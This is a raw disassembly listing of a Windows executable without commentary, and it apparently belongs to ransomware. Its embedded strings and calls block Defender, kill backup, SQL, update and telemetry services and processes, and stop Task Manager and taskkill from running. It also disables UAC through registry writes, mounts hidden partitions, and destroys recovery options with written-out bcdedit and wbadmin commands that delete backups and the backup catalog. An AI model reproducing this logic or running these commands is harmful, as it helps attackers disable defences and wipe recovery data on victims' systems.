push str.___Exec_commands:_____s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x464e76
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464e6c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x26
mov edi, dword [0x5f20fc]
mov esi, dword [edi]
cmp esi, edi
je 0x464f60
nop
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 8
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc20
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x464edf
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 1
push 0x5d9a5c
lea ecx, [ebp - 0x34]
call fcn.00451c00
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c00
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x26
and ebx, 0xfffffff7
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x464f53
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464f49
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464ea0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Kill_proc:_________s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x464fb6
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464fac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x28
mov edi, dword [0x5f20ec]
mov esi, dword [edi]
cmp esi, edi
je 0x4650a0
nop
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 0x10
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc20
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x46501f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 1
push 0x5d9a5c
lea ecx, [ebp - 0x34]
call fcn.00451c00
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c00
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x28
and ebx, 0xffffffef
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x465093
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465089
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466718
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x464fe0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Kill_service:______s
call fcn.00463390
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4650f6
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4650ec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
push 0x5f22a4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp byte [0x5f17be], 0
mov byte [0x5f2081], 1
je 0x465147
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.hashlist.txt
mov word [ecx], ax
call fcn.0044a8b0
mov ecx, 1
call fcn.0045f1f0
add esp, 0x18
call fcn.0045f380
cmp byte [0x5f17a4], 0
je 0x4651e2
push str.___Block_defender...
call fcn.00463390
add esp, 4
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], 7
lea ecx, [ebp - 0x4c]
mov word [ebp - 0x4c], ax
push 0x14
push str.cmd.exe__c_DC.exe__D
call fcn.0044a8b0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
push 0x2710
cmovae ecx, dword [ebp - 0x4c]
xor edx, edx
push 0
call fcn.0046e500
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4651e2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4651d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
push str.SYSTEMDRIVE
call fcn.005517e6
mov edx, eax
mov dword [ebp - 0xd0], 0
mov ecx, edx
mov dword [ebp - 0xcc], 7
add esp, 4
xor eax, eax
mov word [ebp - 0xe0], ax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465213
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xe0]
call fcn.0044a8b0
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0xe0]
mov ecx, esp
push eax
call fcn.0044c0e0
call fcn.00473010
push str.___Establishing_IPC_connection...
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x50], 0
call fcn.00463390
mov ebx, 1
add esp, 0x1c
mov esi, ebx
lock xadd dword [0x5f224c], esi
inc esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
push 0
push 0
push esi
push 0x45c6b0
push 0
push 0
call edi
mov dword [esi*4 + 0x5f2244], eax
lock xadd dword [0x5f224c], ebx
inc ebx
push 0
push 0
dec ebx
push ebx
push 0x45c6b0
push 0
push 0
call edi
push 0x1f4
mov dword [ebx*4 + 0x5f2244], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.___Run_Watcher...
mov byte [ebp - 4], 0x2c
call fcn.00463390
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d8fb0
call fcn.0044a8b0
mov ecx, 0x5f1df8
mov byte [ebp - 4], 0x2d
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465301
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f1df8
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 2
push 0x5d8fb4
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 0xe
push str._e_watch__pid
lea ecx, [ebp - 0x34]
call fcn.00451c00
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea esi, [ebp - 0x9e]
nop word [eax + eax]
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x465350
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x4c], ax
mov edx, 7
lea eax, [ebp - 0x9e]
mov dword [ebp - 0x38], edx
cmp esi, eax
je 0x46539f
sub eax, esi
lea ecx, [ebp - 0x4c]
sar eax, 1
push eax
push esi
call fcn.0044a8b0
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
cmp edx, 8
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00451c00
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4653f5
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4653eb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
push 4
push 0x5d9ca8
lea ecx, [ebp - 0x34]
call fcn.00451c00
mov esi, dword [ebp - 0x5c]
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465410
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x34]
call fcn.00451c00
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5f17bd], al
mov esi, 6
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046e500
mov byte [ebp - 4], 0x2c
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x4654b5
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46548a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
jmp 0x4654b5
mov dword [ebp - 4], 0x2b
push str.___Unlocker1...
mov byte [ebp - 4], 0x30
call fcn.00463390
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d8fb0
call fcn.0044a8b0
mov ecx, 0x5f1df8
mov byte [ebp - 4], 0x31
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465500
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f1df8
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 2
push 0x5d8fb4
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 6
push str._e_ul1
lea ecx, [ebp - 0x34]
call fcn.00451c00
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5f17bd], al
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046e500
mov byte [ebp - 4], 0x30
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x338], eax
cmp edx, 8
jb 0x4655c8
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46559d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
jmp 0x4655c8
mov dword [ebp - 4], 0x2b
push str.___Unlocker2...
mov byte [ebp - 4], 0x33
call fcn.00463390
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d8fb0
call fcn.0044a8b0
mov ecx, 0x5f1df8
mov byte [ebp - 4], 0x34
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465610
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f1df8
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 2
push 0x5d8fb4
lea ecx, [ebp - 0x34]
call fcn.00451c00
push 6
push str._e_ul2
lea ecx, [ebp - 0x34]
call fcn.00451c00
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5f17bd], al
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046e500
mov byte [ebp - 4], 0x33
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x50], eax
cmp edx, 8
jb 0x4656b4
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4656aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466736
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov dword [ebp - 4], 0x2b
cmp byte [0x5f17b4], 0
mov dword [ebp - 0x334], 0
jne 0x465711
mov eax, dword [0x5eb9f0]
cmp eax, 0xc
je 0x465711
cmp eax, 0xd
je 0x465711
mov byte [ebp - 4], 0x36
cmp byte [0x5f17c2], 0
je 0x46570a
push str.___Everything_Setup...
call fcn.00463390
add esp, 4
lea eax, [ebp - 0x334]
mov dl, 1
xor cl, cl
push eax
call fcn.00473f20
add esp, 4
mov dword [ebp - 4], 0x2b
push str.___Get_Whitelist...
mov byte [ebp - 4], 0x38
call fcn.00463390
add esp, 4
call fcn.0046e360
mov dword [ebp - 4], 0x2b
cmp byte [0x5f19d2], 0
mov dword [ebp - 0x104], 0
je 0x46574e
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
push 0x5f20ec
movlpd qword [ebp - 0x7c], xmm0
call fcn.004673d0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x3a
call fcn.00470080
push str.___Kill_System_Services__telemetry__booster__etc_...
mov byte [ebp - 4], 0x3b
call fcn.00463390
add esp, 4
push ecx
mov ecx, str.WSearch
call fcn.0046d970
add esp, 4
push ecx
mov ecx, 0x5d9efc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.DusmSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.defragsvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.DoSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.wercplsupport
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.SDRSVC
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.TroubleshootingSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.Wecsvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.fhsvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.wbengine
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.PcaSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.WerSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.SENS
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.AppIDSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.BITS
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.wuauserv
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.SysMain
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.diagnosticshub.standardcollector.service
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.dmwappushservice
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.WMPNetworkSvc
call fcn.0046d970
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.0046d970
add esp, 4
push str.___Kill_Services_list__no_wait_...
call fcn.00463390
add esp, 4
lea ecx, [ebp - 0x7c]
xor dl, dl
push 1
call fcn.0046dab0
add esp, 4
push str.___Kill_Services_list__wait_...
call fcn.00463390
add esp, 4
lea ecx, [ebp - 0x7c]
mov dl, 1
push 1
call fcn.0046dab0
add esp, 4
cmp byte [0x5f17b4], 0
jne 0x46592a
mov eax, dword [0x5eb9f0]
cmp eax, 0xc
je 0x46592a
cmp eax, 0xd
je 0x46592a
push str.___Wait_10_sec...
call fcn.00463390
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [ebp - 4], 0x3a
push 0x5f20fc
lea ecx, [ebp - 0x84]
movlpd qword [ebp - 0x84], xmm0
call fcn.004673d0
push str.___Kill_process_list...
mov byte [ebp - 4], 0x3e
call fcn.00463390
add esp, 4
lea ecx, [ebp - 0x84]
mov dl, 1
push 0
push 1
call fcn.0046e0b0
add esp, 8
push str.___Kill_process_telemetry...
call fcn.00463390
add esp, 4
xor dl, dl
mov ecx, str.SearchIndexer.exe
push 1
push 1
call fcn.0046df60
add esp, 8
xor dl, dl
mov ecx, str.SearchProtocolHost.exe
push 1
push 1
call fcn.0046df60
add esp, 8
xor dl, dl
mov ecx, str.SearchApp.exe
push 1
push 1
call fcn.0046df60
add esp, 8
xor dl, dl
mov ecx, str.CompatTelRunner.exe
push 1
push 1
call fcn.0046df60
add esp, 8
xor dl, dl
mov ecx, str.wsqmcons.exe
push 1
push 1
call fcn.0046df60
add esp, 8
push str.___Kill_process_with_high_RAM...
call fcn.00463390
mov eax, dword [0x5f1770]
add esp, 4
shl eax, 0x14
mov dword [ebp - 0xfc], eax
or eax, 0
je 0x465b72
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x100], edi
test edi, edi
je 0x465b72
lea eax, [ebp - 0x330]
mov dword [ebp - 0x330], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x465b01
push dword [ebp - 0x328]
push 0
push 0x100411
call ebx
mov esi, eax
test esi, esi
je 0x465aeb
push 0x2c
lea eax, [ebp - 0xc8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x465ae4
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xbc], eax
jbe 0x465ae4
push dword [ebp - 0x328]
mov dword [ebp - 0x5c], 1
push 0
push 0x400
call ebx
mov edi, eax
test edi, edi
je 0x465abb
mov eax, dword [0x5f19dc]
test eax, eax
je 0x465ab4
lea ecx, [ebp - 0x54]
push ecx
push 4
lea ecx, [ebp - 0x5c]
push ecx
push 0x1d
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x5c], 0
jne 0x465ade
lea eax, [ebp - 0x30c]
push eax
push str.___Process__high_RAM_:__s
call fcn.00463390
add esp, 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [ebp - 0x100]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x330]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x465a41
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x465b78
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.___Kill_process_backup__sql...
call fcn.00463390
add esp, 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
push 0
push 0
call fcn.0044b240
mov dword [ebp - 0x58], eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x3f
call fcn.0046fcf0
push 0
push 0
mov dl, 1
lea ecx, [ebp - 0x58]
call fcn.0046e0b0
add esp, 8
cmp byte [0x5f17b4], 0
jne 0x465bf4
mov eax, dword [0x5eb9f0]
cmp eax, 0xc
je 0x465bf4
cmp eax, 0xd
je 0x465bf4
push str.___Wait_10_sec...
call fcn.00463390
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x58]
call fcn.0044abc0
push 0x20
push dword [ebp - 0x58]
call fcn.0052edf8
add esp, 8
mov dword [ebp - 4], 0x3d
jmp 0x465c39
push str.___Anti_Kill...
mov byte [ebp - 4], 0x41
call fcn.00463390
add esp, 4
mov dl, 1
mov ecx, str.taskmgr.exe
push 0
push 1
call fcn.0046df60
add esp, 8
mov dl, 1
mov ecx, str.tasklist.exe
push 0
push 1
call fcn.0046df60
add esp, 8
mov dl, 1
mov ecx, str.taskkill.exe
push 0
push 1
call fcn.0046df60
add esp, 8
mov dl, 1
mov ecx, str.perfmon.exe
push 0
push 1
call fcn.0046df60
add esp, 8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [ebp - 4], 0x3d
jmp 0x465cd0
cmp byte [0x5f17b7], 0
je 0x465d0e
push str.___Self_Protect...
call fcn.00463390
mov esi, dword [0x5f19e0]
add esp, 4
test esi, esi
je 0x465d0e
push 4
lea eax, [ebp - 0xfc]
mov dword [ebp - 0xfc], 1
push eax
push 0x1d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push str.___Anti_Shutdown...
mov byte [ebp - 4], 0x43
call fcn.00463390
add esp, 4
call fcn.00469e60
mov dword [ebp - 4], 0x3d
jmp 0x465d54
push str.___Long_Path_support...
call fcn.00463390
add esp, 4
mov dword [ebp - 0xfc], 1
lea eax, [ebp - 0x100]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlFileSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x465dc5
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.LongPathsEnabled
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x465dcb
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.___Kill_Telemetry_policy...
call fcn.00463390
add esp, 4
mov dword [ebp - 0xfc], 0
lea eax, [ebp - 0x100]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesDataCollection
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x465e2e
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.AllowTelemetry
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push str.___UAC...
call fcn.00463390
add esp, 4
mov dword [ebp - 0xfc], 0
lea eax, [ebp - 0x100]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x465e91
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push 0
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x465ee7
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push 0
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x465f3d
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push 0
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x465f93
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push str.Remove_command_line_restrictions...
call fcn.00463390
sub esp, 0x14
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x54], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.DisableCMD
mov word [ecx], ax
call fcn.0044a8b0
sub esp, 0x18
mov byte [ebp - 4], 0x45
mov ecx, esp
xor eax, eax
push 0x2a
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SoftwarePoliciesMicrosoftWindowsSystem
mov word [ecx], ax
call fcn.0044a8b0
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x3d
call fcn.00469d60
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x54], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.DisableCMD
mov word [ecx], ax
call fcn.0044a8b0
sub esp, 0x18
mov byte [ebp - 4], 0x46
mov ecx, esp
xor eax, eax
push str.SoftwarePoliciesMicrosoftWindowsSystem
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
call fcn.0044a880
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 0x3d
call fcn.00469d60
push str.Unmount_virtual_drives_and_images...
call fcn.00463390
add esp, 0x34
call fcn.00475ac0
cmp byte [0x5f17c1], 0
je 0x466085
mov edx, dword [ebp - 0x334]
call fcn.00474f60
neg al
sbb al, al
and byte [0x5f17c1], al
mov byte [0x5f17a7], 0
call fcn.00466f60
sub esp, 0x18
mov ecx, esp
push 0x5ebc20
call fcn.0044c0e0
call fcn.0045c7b0
add esp, 0x18
cmp byte [0x5f17b4], 0
je 0x466110
call fcn.004755f0
call fcn.0045fb00
push str.___Wait_10_sec...
call fcn.00463390
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00467280
lea ecx, [ebp - 0x84]
call fcn.00449440
lea ecx, [ebp - 0x7c]
call fcn.00449440
lea ecx, [ebp - 0xe0]
call fcn.00449490
lea ecx, [ebp - 0x74]
call fcn.00449490
lea ecx, [ebp - 0x9c]
call fcn.00449490
xor eax, eax
jmp 0x463e98
push str.____Repeat_scan_once_more...
call fcn.00463390
push str.___Clear_Backup...
call fcn.00463390
add esp, 8
push 0
push 0
push 0
push 0x45b200
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x46614e
push 0x1388
push eax
call esi
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
call fcn.0046e500
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_recoveryenabled_no
call fcn.0046e500
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_DELETE_SYSTEMSTATEBACKUP
call fcn.0046e500
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_delete_catalog__quiet
call fcn.0046e500
add esp, 0x20
cmp byte [0x5f17c2], 0
je 0x46621c
push str.___Loading_hidden_partitions...
call fcn.00463390
add esp, 4
push 0
push 0
push 0
push 0x45a4c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4661d8
push 0x2710
push eax
call esi
cmp byte [0x5f17c2], 0
je 0x46621c
cmp byte [0x5f17c1], 0
je 0x46621c
push str.___Everything_Setup...
call fcn.00463390
lea eax, [ebp - 0x334]
mov dl, 1
push eax
mov cl, dl
call fcn.00473f20
mov edx, dword [ebp - 0x334]
add esp, 8
call fcn.00474f60
neg al
sbb al, al
and byte [0x5f17c1], al
push str.___Waiting_unlocker...
call fcn.00463390
mov eax, dword [ebp - 0x338]
add esp, 4
test eax, eax
je 0x466240
